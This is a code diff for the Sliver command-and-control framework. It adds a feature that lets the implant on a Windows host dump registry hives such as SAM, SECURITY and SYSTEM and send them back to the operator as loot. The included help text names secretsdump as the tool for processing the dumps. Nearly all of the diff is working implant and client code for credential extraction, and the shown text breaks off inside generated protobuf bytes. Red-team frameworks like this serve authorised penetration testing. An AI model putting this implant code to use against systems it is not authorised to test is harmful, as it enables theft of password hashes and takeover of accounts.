diff --git a/client/command/help/long-help.go b/client/command/help/long-help.go index a3bdb104d7..393ae1fed3 100644 --- a/client/command/help/long-help.go +++ b/client/command/help/long-help.go @@ -79,22 +79,23 @@ var ( consts.BackdoorStr: backdoorHelp, consts.SpawnDllStr: spawnDllHelp, - consts.WebsitesStr: websitesHelp, - consts.ScreenshotStr: screenshotHelp, - consts.MakeTokenStr: makeTokenHelp, - consts.EnvStr: getEnvHelp, - consts.EnvStr + sep + consts.SetStr: setEnvHelp, - consts.RegistryWriteStr: regWriteHelp, - consts.RegistryReadStr: regReadHelp, - consts.RegistryCreateKeyStr: regCreateKeyHelp, - consts.RegistryDeleteKeyStr: regDeleteKeyHelp, - consts.PivotsStr: pivotsHelp, - consts.WgPortFwdStr: wgPortFwdHelp, - consts.WgSocksStr: wgSocksHelp, - consts.SSHStr: sshHelp, - consts.DLLHijackStr: dllHijackHelp, - consts.GetPrivsStr: getPrivsHelp, - consts.ServicesStr: servicesHelp, + consts.WebsitesStr: websitesHelp, + consts.ScreenshotStr: screenshotHelp, + consts.MakeTokenStr: makeTokenHelp, + consts.EnvStr: getEnvHelp, + consts.EnvStr + sep + consts.SetStr: setEnvHelp, + consts.RegistryWriteStr: regWriteHelp, + consts.RegistryReadStr: regReadHelp, + consts.RegistryCreateKeyStr: regCreateKeyHelp, + consts.RegistryDeleteKeyStr: regDeleteKeyHelp, + consts.RegistryReadStr + consts.RegistryReadHiveStr: regReadHiveHelp, + consts.PivotsStr: pivotsHelp, + consts.WgPortFwdStr: wgPortFwdHelp, + consts.WgSocksStr: wgSocksHelp, + consts.SSHStr: sshHelp, + consts.DLLHijackStr: dllHijackHelp, + consts.GetPrivsStr: getPrivsHelp, + consts.ServicesStr: servicesHelp, // Loot consts.LootStr: lootHelp, @@ -574,6 +575,26 @@ When using the binary type, you must either: [[.Bold]]Example:[[.Normal]] registry delete --hive HKLM "software\\google\\chrome\\BLBeacon\\version" ` + regReadHiveHelp = `[[.Bold]]Command:[[.Normal]] registry read hive [name] +[[.Bold]]About:[[.Normal]] Read the contents of a registry hive into a binary file +[[.Bold]]Example:[[.Normal]] registry read hive --hive HKLM --save SAM.save SAM +This command reads the data from a specified registry hive into a binary file, suitable for use with tools like secretsdump. +The specified hive must be relative to a root hive (such as HKLM or HKCU). For example, if you want to read the SAM hive, the +root hive is HKLM, and the specified hive is SAM. +This command requires that the process has or can get the SeBackupPrivilege privilege. If you want to dump the SAM, SECURITY, and +SYSTEM hives, your process must be running with High integrity (i.e. running as SYSTEM). + +Supported root hives are: + - HKEY_LOCAL_MACHINE (HKLM, default) + - HKEY_CURRENT_USER (HKCU) + - HKEY_CURRENT_CONFIG (HKCC) + - HKEY_PERFORMANCE_DATA (HKPD) + - HKEY_USERS (HKU) + - HKEY_CLASSES_ROOT (HKCR) +The root hive must be specified using its abbreviation, such as HKLM, and not its full name. +This command will only run against the local machine. + ` + pivotsHelp = `[[.Bold]]Command:[[.Normal]] pivots [[.Bold]]About:[[.Normal]] List pivots for the current session. NOTE: pivots are only supported on sessions, not beacons. [[.Bold]]Examples:[[.Normal]] diff --git a/client/command/loot/remote.go b/client/command/loot/remote.go index f1100a610b..1b097c81dc 100644 --- a/client/command/loot/remote.go +++ b/client/command/loot/remote.go @@ -203,6 +203,11 @@ func LootText(text string, lootName string, lootFileName string, fileType client SendLootMessage(lootMessage, con) } +func LootBinary(data []byte, lootName string, lootFileName string, fileType clientpb.FileType, con *console.SliverClient) { + lootMessage := CreateLootMessage(con.ActiveTarget.GetHostUUID(), lootFileName, lootName, fileType, data) + SendLootMessage(lootMessage, con) +} + // LootAddRemoteCmd - Add a file from the remote system to the server as loot func LootAddRemoteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() diff --git a/client/command/registry/commands.go b/client/command/registry/commands.go index fec21cf040..d2c71e27ed 100644 --- a/client/command/registry/commands.go +++ b/client/command/registry/commands.go @@ -40,6 +40,24 @@ func Commands(con *console.SliverClient) []*cobra.Command { }) carapace.Gen(registryReadCmd).PositionalCompletion(carapace.ActionValues().Usage("registry path")) + registryReadHiveCmd := &cobra.Command{ + Use: consts.RegistryReadHiveStr, + Short: "Read a hive into a binary file", + Long: help.GetHelpFor([]string{consts.RegistryReadStr + consts.RegistryReadHiveStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + RegReadHiveCommand(cmd, con, args) + }, + } + flags.Bind("", false, registryReadHiveCmd, func(f *pflag.FlagSet) { + f.StringP("hive", "H", "HKLM", "root registry hive") + f.StringP("save", "s", "", "location to store data, required if not looting") + f.BoolP("loot", "X", false, "save output as loot (loot is saved without formatting)") + f.StringP("name", "n", "", "name to assign loot (optional)") + f.StringP("type", "T", "", "force a specific loot type (file/cred) if looting (optional)") + }) + registryReadCmd.AddCommand(registryReadHiveCmd) + registryWriteCmd := &cobra.Command{ Use: consts.RegistryWriteStr, Short: "Write values to the Windows registry", diff --git a/client/command/registry/reg-read.go b/client/command/registry/reg-read.go index 3109b32e8c..42f94768dc 100644 --- a/client/command/registry/reg-read.go +++ b/client/command/registry/reg-read.go @@ -21,15 +21,19 @@ package registry import ( "context" "fmt" + "os" + "path/filepath" "strings" "google.golang.org/protobuf/proto" "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/command/loot" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/bishopfox/sliver/util/encoders" ) var validHives = []string{ @@ -92,6 +96,7 @@ func RegReadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { hostname, _ := cmd.Flags().GetString("hostname") hive, _ := cmd.Flags().GetString("hive") + hive = strings.ToUpper(hive) if err := checkHive(hive); err != nil { con.PrintErrorf("%s\n", err) return @@ -153,3 +158,121 @@ func PrintRegRead(regRead *sliverpb.RegistryRead, con *console.SliverClient) { } con.Println(regRead.Value) } + +func writeHiveDump(data []byte, encoder string, fileName string, saveLoot bool, lootName string, lootType string, lootFileName string, con *console.SliverClient) { + var rawData []byte + var err error + + if encoder == "gzip" { + rawData, err = new(encoders.Gzip).Decode(data) + if err != nil { + con.PrintErrorf("Could not decode gzip data: %s\n", err) + return + } + } else if encoder == "" { + rawData = data + } else { + con.PrintErrorf("Cannot decode registry hive data: unknown encoder %s\n", encoder) + return + } + + if fileName != "" { + err = os.WriteFile(fileName, rawData, 0600) + if err != nil { + con.PrintErrorf("Could not write registry hive data to %s: %s\n", fileName, err) + // We are not going to return here because if the user wants to loot, we may still be able to do that. + } else { + con.PrintSuccessf("Successfully wrote hive data to %s\n", fileName) + } + } + + if saveLoot { + fileType := loot.ValidateLootFileType(lootType, rawData) + loot.LootBinary(rawData, lootName, lootFileName, fileType, con) + } +} + +func RegReadHiveCommand(cmd *cobra.Command, con *console.SliverClient, args []string) { + session, beacon := con.ActiveTarget.GetInteractive() + if session == nil && beacon == nil { + return + } + targetOS := getOS(session, beacon) + if targetOS != "windows" { + con.PrintErrorf("Registry operations can only target Windows\n") + return + } + + rootHive, _ := cmd.Flags().GetString("hive") + rootHive = strings.ToUpper(rootHive) + if err := checkHive(rootHive); err != nil { + con.PrintErrorf("%s\n", err) + return + } + saveLoot, _ := cmd.Flags().GetBool("loot") + outputFileName, _ := cmd.Flags().GetString("save") + if outputFileName == "" && !saveLoot { + con.PrintErrorf("You must provide an output file name") + return + } + + if len(args) == 0 || (len(args) > 0 && args[0] == "") { + con.PrintErrorf("You must provide a registry hive to dump") + return + } + requestedHive := args[0] + + lootName := "" + lootType := "" + lootFileName := "" + if saveLoot { + lootName, _ = cmd.Flags().GetString("name") + lootType, _ = cmd.Flags().GetString("file-type") + // Get implant name + implantName := "" + if session == nil { + implantName = beacon.Name + } else { + implantName = session.Name + } + if lootName == "" { + lootName = fmt.Sprintf("Registry hive %s\\%s on %s", rootHive, requestedHive, implantName) + } + if outputFileName != "" { + lootFileName = filepath.Base(outputFileName) + } else { + requestedHiveForFileName := strings.ReplaceAll(requestedHive, "/", "_") + requestedHiveForFileName = strings.ReplaceAll(requestedHiveForFileName, "\\", "_") + lootFileName = fmt.Sprintf("%s_%s_%s", implantName, rootHive, requestedHiveForFileName) + } + } + + if strings.Contains(requestedHive, "/") { + requestedHive = strings.ReplaceAll(requestedHive, "/", "\\") + } + + hiveDump, err := con.Rpc.RegistryReadHive(context.Background(), &sliverpb.RegistryReadHiveReq{ + RootHive: rootHive, + RequestedHive: requestedHive, + Request: con.ActiveTarget.Request(cmd), + }) + + if err != nil { + con.PrintErrorf("%s\n", err) + return + } + + if hiveDump.Response != nil && hiveDump.Response.Async { + con.AddBeaconCallback(hiveDump.Response.TaskID, func(task *clientpb.BeaconTask) { + err = proto.Unmarshal(task.Response, hiveDump) + if err != nil { + con.PrintErrorf("Failed to decode response %s\n", err) + return + } + writeHiveDump(hiveDump.Data, hiveDump.Encoder, outputFileName, saveLoot, lootName, lootType, lootFileName, con) + }) + con.PrintAsyncResponse(hiveDump.Response) + } else { + writeHiveDump(hiveDump.Data, hiveDump.Encoder, outputFileName, saveLoot, lootName, lootType, lootFileName, con) + } +} diff --git a/client/constants/constants.go b/client/constants/constants.go index 782e142412..2b2b7465ae 100644 --- a/client/constants/constants.go +++ b/client/constants/constants.go @@ -261,6 +261,7 @@ const ( RegistryListValuesStr = "list-values" RegistryCreateKeyStr = "create" RegistryDeleteKeyStr = "delete" + RegistryReadHiveStr = "hive" PivotsStr = "pivots" WgConfigStr = "wg-config" WgSocksStr = "wg-socks" diff --git a/implant/sliver/handlers/handlers_windows.go b/implant/sliver/handlers/handlers_windows.go index 61f88347a0..46318201bd 100644 --- a/implant/sliver/handlers/handlers_windows.go +++ b/implant/sliver/handlers/handlers_windows.go @@ -73,6 +73,7 @@ var ( sliverpb.MsgExecuteWindowsReq: executeWindowsHandler, sliverpb.MsgGetPrivsReq: getPrivsHandler, sliverpb.MsgCurrentTokenOwnerReq: currentTokenOwnerHandler, + sliverpb.MsgRegistryReadHiveReq: regReadHiveHandler, // Platform specific sliverpb.MsgIfconfigReq: ifconfigHandler, @@ -754,6 +755,28 @@ func regValuesListHandler(data []byte, resp RPCResponse) { resp(data, err) } +func regReadHiveHandler(data []byte, resp RPCResponse) { + hiveReq := &sliverpb.RegistryReadHiveReq{} + err := proto.Unmarshal(data, hiveReq) + if err != nil { + return + } + hiveResp := &sliverpb.RegistryReadHive{ + Response: &commonpb.Response{}, + } + hiveData, err := registry.ReadHive(hiveReq.RootHive, hiveReq.RequestedHive) + if err != nil { + hiveResp.Response.Err = err.Error() + } + // We might not have a fatal error, so whatever the result (nil or not), assign .Data to it + gzipData := bytes.NewBuffer([]byte{}) + gzipWrite(gzipData, hiveData) + hiveResp.Data = gzipData.Bytes() + hiveResp.Encoder = "gzip" + data, err = proto.Marshal(hiveResp) + resp(data, err) +} + func getPrivsHandler(data []byte, resp RPCResponse) { createReq := &sliverpb.GetPrivsReq{} diff --git a/implant/sliver/registry/registry_windows.go b/implant/sliver/registry/registry_windows.go index a728f9a9c6..458078a308 100644 --- a/implant/sliver/registry/registry_windows.go +++ b/implant/sliver/registry/registry_windows.go @@ -1,12 +1,19 @@ package registry import ( + "errors" "fmt" + "math/rand" + "os" + // {{if .Config.Debug}} "log" // {{end}} "strings" + "github.com/bishopfox/sliver/implant/sliver/priv" + "github.com/bishopfox/sliver/implant/sliver/syscalls" + "golang.org/x/sys/windows" "golang.org/x/sys/windows/registry" ) @@ -182,3 +189,88 @@ func CreateSubKey(hostname string, hive string, path string, keyName string) err _, _, err = registry.CreateKey(*k, keyName, registry.ALL_ACCESS) return err } + +func generateTempFileName() string { + const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" + randomBytes := make([]byte, 8) + for i := range randomBytes { + randomBytes[i] = charset[rand.Intn(len(charset))] + } + return string(randomBytes) + ".tmp" +} + +// ReadHive dumps the content of a registry hive into a single binary blob +func ReadHive(requestedRootHive string, requestedHive string) ([]byte, error) { + // In order to dump a hive, we need the SeBackupPrivilege privilege + err := priv.SePrivEnable("SeBackupPrivilege") + if err != nil { + // {{if .Config.Debug}} + log.Println("SePrivEnable failed:", err) + // {{end}} + return nil, err + } + + /* + Create a random file name to output the hive to. + The system call to dump registry information (RegSaveKeyW) + only accepts a file name as an output location, as opposed to a + buffer. So we will output the result of the system call, read the + resulting file into memory, then delete the file. + */ + + /* + We have to make sure the file we ask RegSaveKeyW to output does not exist + because if it does, the call will fail. + Keep generating and checking file names until we find one that does not exist. + */ + var tempFileName string + for { + tempFileName = fmt.Sprintf("%s\\%s", os.TempDir(), generateTempFileName()) + if _, err := os.Stat(tempFileName); errors.Is(err, os.ErrNotExist) { + // {{if .Config.Debug}} + log.Printf("Going to output hive data to %s", tempFileName) + // {{end}} + break + } + } + tempFileNamePtr, err := windows.UTF16PtrFromString(tempFileName) + if err != nil { + return nil, err + } + + hiveHandle, err := openKey("", requestedRootHive, requestedHive, registry.READ) + + if err != nil { + // {{if .Config.Debug}} + log.Printf("Could not open %s\\%s: %v", requestedRootHive, requestedHive, err) + // {{end}} + return nil, err + } + defer hiveHandle.Close() + + err = syscalls.RegSaveKeyW(windows.Handle(*hiveHandle), tempFileNamePtr, nil) + if err != nil { + // {{if .Config.Debug}} + log.Printf("Could not save %s\\%s to %s: %v", requestedRootHive, requestedHive, tempFileName, err) + // {{end}} + return nil, err + } + + data, err := os.ReadFile(tempFileName) + if err != nil { + // {{if .Config.Debug}} + log.Printf("Could not open temp file: %v", err) + // {{end}} + return nil, err + } + err = os.Remove(tempFileName) + if err != nil { + // {{if .Config.Debug}} + log.Printf("Could not delete temp file: %v", err) + // {{end}} + // No reason to throw away the data if we cannot delete the file + return data, err + } + + return data, nil +} diff --git a/implant/sliver/syscalls/syscalls_windows.go b/implant/sliver/syscalls/syscalls_windows.go index 638319dcad..a8119d0f45 100644 --- a/implant/sliver/syscalls/syscalls_windows.go +++ b/implant/sliver/syscalls/syscalls_windows.go @@ -46,3 +46,4 @@ package syscalls //sys LookupPrivilegeDisplayNameW(systemName string, privilegeName *uint16, buffer *uint16, size *uint32, languageId *uint32) (err error) = advapi32.LookupPrivilegeDisplayNameW //sys Module32FirstW(hSnapshot windows.Handle, lpme *MODULEENTRY32W) (err error) = kernel32.Module32FirstW +//sys RegSaveKeyW(hKey windows.Handle, lpFile *uint16, lpSecurityAttributes *windows.SecurityAttributes) (err error) = advapi32.RegSaveKeyW diff --git a/implant/sliver/syscalls/zsyscalls_windows.go b/implant/sliver/syscalls/zsyscalls_windows.go index ae711fe36b..274ffe9380 100644 --- a/implant/sliver/syscalls/zsyscalls_windows.go +++ b/implant/sliver/syscalls/zsyscalls_windows.go @@ -67,6 +67,7 @@ var ( procLogonUserW = modadvapi32.NewProc("LogonUserW") procLookupPrivilegeDisplayNameW = modadvapi32.NewProc("LookupPrivilegeDisplayNameW") procLookupPrivilegeNameW = modadvapi32.NewProc("LookupPrivilegeNameW") + procRegSaveKeyW = modadvapi32.NewProc("RegSaveKeyW") procCreateProcessW = modkernel32.NewProc("CreateProcessW") procCreateRemoteThread = modkernel32.NewProc("CreateRemoteThread") procCreateThread = modkernel32.NewProc("CreateThread") @@ -281,6 +282,14 @@ func _LookupPrivilegeNameW(systemName *uint16, luid *uint64, buffer *uint16, siz return } +func RegSaveKeyW(hKey windows.Handle, lpFile *uint16, lpSecurityAttributes *windows.SecurityAttributes) (err error) { + r1, _, e1 := syscall.Syscall(procRegSaveKeyW.Addr(), 3, uintptr(hKey), uintptr(unsafe.Pointer(lpFile)), uintptr(unsafe.Pointer(lpSecurityAttributes))) + if r1 != 0 { + err = errnoErr(e1) + } + return +} + func CreateProcess(appName *uint16, commandLine *uint16, procSecurity *windows.SecurityAttributes, threadSecurity *windows.SecurityAttributes, inheritHandles bool, creationFlags uint32, env *uint16, currentDir *uint16, startupInfo *StartupInfoEx, outProcInfo *windows.ProcessInformation) (err error) { var _p0 uint32 if inheritHandles { diff --git a/protobuf/rpcpb/services.pb.go b/protobuf/rpcpb/services.pb.go index 3514b9dd29..55b0dbf5b0 100644 --- a/protobuf/rpcpb/services.pb.go +++ b/protobuf/rpcpb/services.pb.go @@ -31,7 +31,7 @@ var file_rpcpb_services_proto_rawDesc = []byte{ 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x2e, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x32, 0xe1, 0x54, 0x0a, 0x09, 0x53, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x52, 0x50, 0x43, + 0x74, 0x6f, 0x32, 0xb0, 0x55, 0x0a, 0x09, 0x53, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x52, 0x50, 0x43, 0x12, 0x30, 0x0a, 0x0a, 0x47, 0x65, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x56, 0x65, 0x72, 0x73, 0x69, @@ -588,131 +588,136 @@ var file_rpcpb_services_proto_rawDesc = []byte{ 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x4c, 0x69, 0x73, - 0x74, 0x12, 0x3e, 0x0a, 0x0d, 0x52, 0x75, 0x6e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, - 0x6e, 0x64, 0x12, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x53, - 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, - 0x64, 0x12, 0x38, 0x0a, 0x09, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x44, 0x4c, 0x4c, 0x12, 0x16, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, - 0x61, 0x63, 0x6b, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x12, 0x35, 0x0a, 0x08, 0x47, - 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x12, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, - 0x76, 0x73, 0x12, 0x57, 0x0a, 0x15, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x70, 0x6f, 0x72, 0x74, - 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x22, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x53, - 0x74, 0x61, 0x72, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, - 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, - 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x53, 0x0a, 0x14, 0x47, - 0x65, 0x74, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, - 0x65, 0x72, 0x73, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, - 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, - 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, - 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, - 0x12, 0x55, 0x0a, 0x14, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, - 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x21, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x53, 0x74, 0x6f, 0x70, - 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x1a, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, - 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x3b, 0x0a, 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53, - 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, - 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x1a, 0x15, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, - 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x37, 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, - 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x1a, 0x0f, 0x2e, 0x63, - 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x50, 0x0a, - 0x11, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, - 0x6f, 0x6e, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, - 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, - 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, - 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, - 0x44, 0x0a, 0x0d, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, - 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x61, 0x6c, 0x6c, - 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, - 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x47, 0x0a, 0x0e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, - 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, - 0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x5c, - 0x0a, 0x15, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, - 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x22, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x57, 0x61, 0x73, 0x6d, 0x45, - 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x1f, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x57, - 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x53, 0x0a, 0x12, - 0x4c, 0x69, 0x73, 0x74, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, - 0x6e, 0x73, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, - 0x73, 0x74, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, - 0x52, 0x65, 0x71, 0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, + 0x74, 0x12, 0x4d, 0x0a, 0x10, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, + 0x64, 0x48, 0x69, 0x76, 0x65, 0x12, 0x1d, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x48, 0x69, 0x76, + 0x65, 0x52, 0x65, 0x71, 0x1a, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x48, 0x69, 0x76, 0x65, + 0x12, 0x3e, 0x0a, 0x0d, 0x52, 0x75, 0x6e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, + 0x64, 0x12, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x53, 0x48, + 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x53, 0x48, 0x43, 0x6f, 